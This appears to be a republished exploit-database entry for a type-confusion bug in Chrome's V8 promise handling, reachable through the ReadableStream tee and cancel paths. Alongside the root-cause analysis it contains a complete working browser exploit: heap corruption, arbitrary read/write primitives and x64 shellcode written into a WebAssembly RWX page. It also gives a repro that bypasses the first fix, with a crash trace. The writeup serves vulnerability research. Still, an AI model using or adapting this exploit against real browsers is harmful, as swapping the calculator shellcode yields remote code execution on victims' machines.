google chrome 72.0.3626.96 74.0.3702.0 jspromise::triggerpromisereactions type confusion
▸▸▸ Exploit & Vulnerability >> remote exploit & multiple vulnerability
<!-- VULNERABILITY DETAILS ==1. TriggerPromiseReactions== https://cs.chromium.org/chromium/src/v8/src/objects.cc?rcl=d24c8dd69f1c7e89553ce101272aedefdb41110d&l=5975 Handle<Object> JSPromise::TriggerPromiseReactions(Isolate* isolate, Handle<Object> reactions, Handle<Object> argument, PromiseReaction::Type type) { DCHECK(reactions->IsSmi() || reactions->IsPromiseReaction()); // We need to reverse the {reactions} here, since we record them // on the JSPromise in the reverse order. { DisallowHeapAllocation no_gc; Object current = *reactions; Object reversed = Smi::kZero; while (!current->IsSmi()) { Object next = PromiseReaction::cast(current)->next(); // ***1*** PromiseReaction::cast(current)->set_next(reversed); reversed = current; current = next; } reactions = handle(reversed, isolate); } [...] A Semmle query has triggered a warning that |TriggerPromiseReactions| performs a typecast on the |reactions| argument without prior checks[1]. Upon further inspection, it turned out that the JSPromise class reuses a single field to store both the result object and the reaction list (chained callbacks). Moreover, |JSPromise::Fulfill| and |JSPromise::Reject| don't ensure that the promise is still in the "pending" state, instead they rely on the default |resolve/reject| callbacks that are exposed to user JS code and use the |PromiseBuiltins::kAlreadyResolvedSlot| context variable to determine whether the promise has been resolved yet. So, it's enough to call, for example, |JSPromise::Fulfill| twice on the same Promise object to trigger the type confusion. ==2. Thenable objects and JSPromise::Resolve== https://cs.chromium.org/chromium/src/v8/src/objects.cc?rcl=d24c8dd69f1c7e89553ce101272aedefdb41110d&l=5902 MaybeHandle<Object> JSPromise::Resolve(Handle<JSPromise> promise, Handle<Object> resolution) { [...] // 8. Let then be Get(resolution, "then"). MaybeHandle<Object> then; if (isolate->IsPromiseThenLookupChainIntact( Handle<JSReceiver>::cast(resolution))) { // We can skip the "then" lookup on {resolution} if its [[Prototype]] // is the (initial) Promise.prototype and the Promise#then protector // is intact, as that guards the lookup path for the "then" property // on JSPromise instances which have the (initial) %PromisePrototype%. then = isolate->promise_then(); } else { then = JSReceiver::GetProperty(isolate, Handle<JSReceiver>::cast(resolution), isolate->factory()->then_string()); // ***2*** [...] This is a known behavior, and yet it has already caused some problems in the past (see https://bugs.chromium.org/p/chromium/issues/detail?id=663476#c10). When the promise resolution is an object that has the |then| property, |Resolve| synchronously accesses that property and might invoke a user-defined getter[2], which means it's possible to run user JavaScript while the promise is in the middle of the resolution process. However, just calling the |resolve| callback inside the getter is not enough to trigger the type confusion because of the |kAlreadyResolvedSlot| check. Instead, one should look for places where |JSPromise::Resolve| is called directly. ==3. V8 extras and ReadableStream== https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/streams/ReadableStream.js?rcl=d67a775151929f516380749eae3b32f514eade11&l=425 function ReadableStreamTee(stream) { const reader = AcquireReadableStreamDefaultReader(stream); let closedOrErrored = false; let canceled1 = false; let canceled2 = false; let reason1; let reason2; const cancelPromise = v8.createPromise(); function pullAlgorithm() { return thenPromise( ReadableStreamDefaultReaderRead(reader), ({value, done}) => { if (done && !closedOrErrored) { if (!canceled1) { ReadableStreamDefaultControllerClose(branch1controller); // ***3*** } if (!canceled2) { ReadableStreamDefaultControllerClose(branch2controller); } closedOrErrored = true; } [...] function cancel1Algorithm(reason) { canceled1 = true; // ***4*** reason1 = reason; if (canceled2) { const cancelResult = ReadableStreamCancel(stream, [reason1, reason2]); resolvePromise(cancelPromise, cancelResult); } return cancelPromise; } [...] function ReadableStreamCancel(stream, reason) { stream[_readableStreamBits] |= DISTURBED; const state = ReadableStreamGetState(stream); if (state === STATE_CLOSED) { return Promise_resolve(undefined); } if (state === STATE_ERRORED) { return Promise_reject(stream[_storedError]); } ReadableStreamClose(stream); const sourceCancelPromise = ReadableStreamDefaultControllerCancel(stream[_controller], reason); return thenPromise(sourceCancelPromise, () => undefined); } function ReadableStreamClose(stream) { ReadableStreamSetState(stream, STATE_CLOSED); const reader = stream[_reader]; if (reader === undefined) { return; } if (IsReadableStreamDefaultReader(reader) === true) { reader[_readRequests].forEach( request => resolvePromise( request.promise, ReadableStreamCreateReadResult(undefined, true, request.forAuthorCode))); reader[_readRequests] = new binding.SimpleQueue(); } resolvePromise(reader[_closedPromise], undefined); } A tiny part of Blink (namely, Streams API) is implemented as a v8 extra, i.e., a set of JavaScript classes with a couple of internal v8 methods exposed to them. The relevant ones are |v8.resolvePromise| and |v8.rejectPromise|, as they just call |JSPromise::Resolve/Reject| and don't check the status of the promise passed as an argument. Instead, the JS code around them defines a bunch of boolean variables to track the stream's state. Unfortunately, there's a scenario in which the state checks could be bypassed: 1. Create a new ReadableStream with an underlying source object that exposes the stream controller's |stop| method. 2. Call the |tee| method to create a pair of child streams. 3. Make a read request for one of the child streams thus putting a new Promise object to the |_readRequests| queue. 4. Define a getter for the |then| property on Object.prototype. From this point every promise resolution where the resolution object inherits from Object.prototype will call the getter. 5. Call |cancel| on the child stream. The call stack will eventually look like: ReadableStreamCancel -> ReadableStreamClose -> resolvePromise -> JSPromise::Resolve -> the |then| getter. 6. Inside the getter, calling regular methods on the child stream won't work because its state is already set to "closed", but an attacker can call the controller's |stop| method. Because |ReadableStreamClose| is executed before the cancel callback[4], the |cancel1| flag won't be set yet, so the |close| method will be called again[3] resolving the promise that is currently in the middle of the resolution process. The only problem here is the code [3] gets executed as another promise's reaction, i.e. as a microtask, and microtasks are supposed to be executed asynchronously. ==4. MicrotasksScope== V8 exposes the MicrotasksScope class to Blink to control microtask execution. MicrotasksScope's destructor will run all scheduled microtasks synchronously, if the object that's being destructed is the top-level MicrotasksScope. Therefore, calling a Blink method that instantiates a MicrotasksScope should allow running the scheduled promise reaction[3] synchronously. However, usually all JS code (<script> body, event handlers, timeouts) already runs inside a MicrotasksScope. One way to overcome this is to define the JS code as the |handleEvent| property getter of an EventListener object and add the listener to, e.g., the |load| event. Putting it all together, the PoC is as follows: <body> <script> performMicrotaskCheckpoint = () => { document.createNodeIterator(document, -1, { acceptNode() { return NodeFilter.FILTER_ACCEPT; } }).nextNode(); } runOutsideMicrotasksScope = func => { window.addEventListener("load", { get handleEvent() { func(); } }); } runOutsideMicrotasksScope (() => { let stream = new ReadableStream({ start(ctr) { controller = ctr } }); let tee_streams = stream.tee(); let reader = tee_streams[0].getReader(); reader.read(); let then_counter = 0; Object.prototype.__defineGetter__("then", function() { if (++then_counter == 1) { controller.close(); performMicrotaskCheckpoint(); } }); reader.cancel(); }); </script> </body> ==5. Exploitation== The bug allows an attacker to make the browser treat the object of their choice as a PromiseReaction. If the second qword of the object contains a value that looks like a tagged pointer, |TriggerPromiseReactions| will treat it as a pointer to another PromiseReaction in the reaction chain and try to reverse the chain. This primitive is not very useful without a separate info leak bug. If the second qword looks like a Smi, the method will overwrite the first, third and fourth qwords with tagged pointers. So, if the attacker allocates a HeapNumber and a FixedDobuleArray that are adjacent to each other, and the umber's value has its LSB set to 0, the function will overwrite the array's length with a pointer that looks like a sufficiently large Smi. The array's map pointer will also get corrupted, but that's not important (at least, for release builds). ----------------------------------------------------------------- | HeapNumber || FixedDoubleArray | ----------------------------------------------------------------- | Map | Value || Map | Length | Element 0 | ... | ----------------------------------------------------------------- Once the attacker has the relative read/write primitive, it's easy to construct the pointer leak and arbitrary read/write primitives by finding the offsets of a couple other objects allocated next to the array. Finally, to execute the shellcode the exploit overwrites the jump table of a WebAssembly function, which is stored in a RWX memory page. Exploit (the shellcode runs gnome-calculator on linux x64): --> <body> <script> performMicrotaskCheckpoint = () => { document.createNodeIterator(document, -1, { acceptNode() { return NodeFilter.FILTER_ACCEPT; } }).nextNode(); } runOutsideMicrotasksScope = func => { window.addEventListener("load", { get handleEvent() { func(); } }); } let data_view = new DataView(new ArrayBuffer(8)); reverseDword = dword => { data_view.setUint32(0, dword, true); return data_view.getUint32(0, false); } reverseQword = qword => { data_view.setBigUint64(0, qword, true); return data_view.getBigUint64(0, false); } floatAsQword = float => { data_view.setFloat64(0, float); return data_view.getBigUint64(0); } qwordAsFloat = qword => { data_view.setBigUint64(0, qword); return data_view.getFloat64(0); } let oob_access_array; let ptr_leak_object; let arbirary_access_array; let ptr_leak_index; let external_ptr_index; const MARKER = 0x31337; leakPtr = obj => { ptr_leak_object[0] = obj; return floatAsQword(oob_access_array[ptr_leak_index]); } getQword = address => { oob_access_array[external_ptr_index] = qwordAsFloat(address); return arbirary_access_array[0]; } setQword = (address, value) => { oob_access_array[external_ptr_index] = qwordAsFloat(address); arbirary_access_array[0] = value; } getField = (object_ptr, num, tagged = true) => object_ptr + BigInt(num * 8 - (tagged ? 1 : 0)); setBytes = (address, array) => { for (let i = 0; i < array.length; ++i) { setQword(address + BigInt(i), BigInt(array[i])); } } // ------------------------- \\ runOutsideMicrotasksScope (() => { oob_access_array = Array(16).fill(1.1); ptr_leak_object = {}; arbirary_access_array = new BigUint64Array(1); oob_access_array.length = 0; const heap_number_to_corrupt = qwordAsFloat(0x10101010n); oob_access_array[0] = 1.1; ptr_leak_object[0] = MARKER; arbirary_access_array.buffer; let stream = new ReadableStream({ start(ctr) { controller = ctr } }); let tee_streams = stream.tee(); let reader = tee_streams[0].getReader(); reader.read(); reader.read(); let then_counter = 0; Object.prototype.__defineGetter__("then", function() { let counter_value = ++then_counter; if (counter_value == 1) { controller.close(); performMicrotaskCheckpoint(); throw 0x123; } else if (counter_value == 2) { throw heap_number_to_corrupt; } else if (counter_value == 4) { oob_access_array.length = 60; findOffsets(); runCalc(); } }); reader.cancel(); }); findOffsets = () => { let markerAsFloat = qwordAsFloat(BigInt(MARKER) << 32n); for (ptr_leak_index = 0; ptr_leak_index < oob_access_array.length; ++ptr_leak_index) { if (oob_access_array[ptr_leak_index] === markerAsFloat) { break; } } let oneAsFloat = qwordAsFloat(1n << 32n); for (external_ptr_index = 2; external_ptr_index < oob_access_array.length; ++external_ptr_index) { if (oob_access_array[external_ptr_index - 2] === oneAsFloat && oob_access_array[external_ptr_index - 1] === 0) { break; } } if (ptr_leak_index === oob_access_array.length || external_ptr_index === oob_access_array.length) { throw "Couldn't find the offsets"; } } runCalc = () => { const wasm_code = new Uint8Array([ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80, 0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80, 0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x00, 0x0b ]); const wasm_instance = new WebAssembly.Instance( new WebAssembly.Module(wasm_code)); const wasm_func = wasm_instance.exports.a; const shellcode = [ 0x48, 0x31, 0xf6, 0x56, 0x48, 0x8d, 0x3d, 0x32, 0x00, 0x00, 0x00, 0x57, 0x48, 0x89, 0xe2, 0x56, 0x48, 0x8d, 0x3d, 0x0c, 0x00, 0x00, 0x00, 0x57, 0x48, 0x89, 0xe6, 0xb8, 0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xcc, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x67, 0x6e, 0x6f, 0x6d, 0x65, 0x2d, 0x63, 0x61, 0x6c, 0x63, 0x75, 0x6c, 0x61, 0x74, 0x6f, 0x72, 0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x3a, 0x30, 0x00 ]; wasm_instance_ptr = leakPtr(wasm_instance); const jump_table = getQword(getField(wasm_instance_ptr, 32)); setBytes(jump_table, shellcode); wasm_func(); } </script> </body> <!-- VERSION Google Chrome 72.0.3626.96 (Official Build) (64-bit) Google Chrome 74.0.3702.0 (Official Build) dev (64-bit) The Chrome team has landed a fix for the issue, but there's a way to bypass it. From Chromium's bug tracker: Sadly, there's still a way to bypass the latest fix. The fix prevents multiple resolution when all the calls come from the |v8.resolvePromise| or |v8.rejectPromise| method exposed to v8 extras. However, |ReadableStreamReaderGenericRelease| might use the regular |Promise.reject| method to create an initially rejected promise and store it in |reader[_closedPromise]|: https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/streams/ReadableStream.js?rcl=bf33c15cd092ea27c870a5a115d138700737cb5e&l=722 function ReadableStreamReaderGenericRelease(reader) { // TODO(yhirano): Remove this when we don't need hasPendingActivity in // blink::UnderlyingSourceBase. const controller = reader[_ownerReadableStream][_controller]; if (controller[_readableStreamDefaultControllerBits] & BLINK_LOCK_NOTIFICATIONS) { // The stream is created with an external controller (i.e. made in // Blink). const lockNotifyTarget = controller[_lockNotifyTarget]; callFunction(lockNotifyTarget.notifyLockReleased, lockNotifyTarget); } if (ReadableStreamGetState(reader[_ownerReadableStream]) === STATE_READABLE) { rejectPromise( reader[_closedPromise], new TypeError(errReleasedReaderClosedPromise)); } else { reader[_closedPromise] = Promise_reject(new TypeError(errReleasedReaderClosedPromise)); // ******** } Then, |ReadableStreamClose| might try to resolve it: https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/streams/ReadableStream.js?rcl=bf33c15cd092ea27c870a5a115d138700737cb5e&l=541 function ReadableStreamClose(stream) { ReadableStreamSetState(stream, STATE_CLOSED); const reader = stream[_reader]; if (reader === undefined) { return; } if (IsReadableStreamDefaultReader(reader) === true) { reader[_readRequests].forEach( request => resolvePromise( request.promise, ReadableStreamCreateReadResult(undefined, true, request.forAuthorCode))); reader[_readRequests] = new binding.SimpleQueue(); } resolvePromise(reader[_closedPromise], undefined); // ******** } It's not possible to call |ReadableStreamReaderGenericRelease| until the |reader[_readRequests]| queue is empty, so an attacker has to call the |close| method twice as in the original repro case. The call succeeds because |resolvePromise| acts a silent no-op. Since the promise is already rejected when it's passed to |v8.resolvePromise|, the code hits the assertion added to |PromiseInternalResolve| in the previous patch. It turns out that there's a JSCallReducer optimization for |v8.resolvePromise| that doesn't generate the same assertion, so the attacker can trigger optimization of |ReadableStreamCancel| to bypass the check: https://cs.chromium.org/chromium/src/v8/src/compiler/js-call-reducer.cc?rcl=fee9be7abb565fc2f2ae7c20e7597bece4fc7144&l=5727 Reduction JSCallReducer::ReducePromiseInternalResolve(Node* node) { DCHECK_EQ(IrOpcode::kJSCall, node->opcode()); Node* promise = node->op()->ValueInputCount() >= 2 ? NodeProperties::GetValueInput(node, 2) : jsgraph()->UndefinedConstant(); Node* resolution = node->op()->ValueInputCount() >= 3 ? NodeProperties::GetValueInput(node, 3) : jsgraph()->UndefinedConstant(); Node* frame_state = NodeProperties::GetFrameStateInput(node); Node* context = NodeProperties::GetContextInput(node); Node* effect = NodeProperties::GetEffectInput(node); Node* control = NodeProperties::GetControlInput(node); // Resolve the {promise} using the given {resolution}. Node* value = effect = graph()->NewNode(javascript()->ResolvePromise(), promise, resolution, context, frame_state, effect, control); ReplaceWithValue(node, value, effect, control); return Replace(value); } Repro: <body> <script> performMicrotaskCheckpoint = () => { document.createNodeIterator(document, -1, { acceptNode() { return NodeFilter.FILTER_ACCEPT; } }).nextNode(); } runOutsideMicrotasksScope = func => { window.addEventListener("load", { get handleEvent() { func(); } }); } for (let i = 0; i < 100000; ++i) { let stream = new ReadableStream(); let reader = stream.getReader(); reader.cancel(); } runOutsideMicrotasksScope (() => { let stream = new ReadableStream({ start(ctr) { controller = ctr } }); let tee_streams = stream.tee(); let reader = tee_streams[0].getReader(); reader.read(); let then_counter = 0; Object.prototype.__defineGetter__("then", function() { if (++then_counter == 1) { controller.close(); performMicrotaskCheckpoint(); reader.releaseLock(); } }); reader.cancel(); }); </script> </body> (lldb) bt * thread #1, name = 'chrome', stop reason = signal SIGSEGV: address access protected (fault address: 0x30fd824804e8) * frame #0: 0x0000555cf8057317 chrome`Builtins_RejectPromise + 55 frame #1: 0x0000555cf801f7cc chrome`Builtins_RunMicrotasks + 556 frame #2: 0x0000555cf7fff598 chrome`Builtins_JSRunMicrotasksEntry + 120 frame #3: 0x0000555cf7b3e405 chrome`v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) + 549 frame #4: 0x0000555cf7b3e895 chrome`v8::internal::(anonymous namespace)::InvokeWithTryCatch(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) + 101 frame #5: 0x0000555cf7b3e9fa chrome`v8::internal::Execution::TryRunMicrotasks(v8::internal::Isolate*, v8::internal::MicrotaskQueue*, v8::internal::MaybeHandle<v8::internal::Object>*) + 74 frame #6: 0x0000555cf7c8042b chrome`v8::internal::MicrotaskQueue::RunMicrotasks(v8::internal::Isolate*) + 427 frame #7: 0x0000555cfb5c13ba chrome`blink::Microtask::PerformCheckpoint(v8::Isolate*) + 58 frame #8: 0x0000555cfc5cc301 chrome`blink::(anonymous namespace)::EndOfTaskRunner::DidProcessTask(base::PendingTask const&) + 17 -->
Google chrome 72.0.3626.96 74.0.3702.0 jspromise::triggerpromisereactions type confusion Vulnerability / Exploit Source : Google chrome 72.0.3626.96 74.0.3702.0 jspromise::triggerpromisereactions type confusion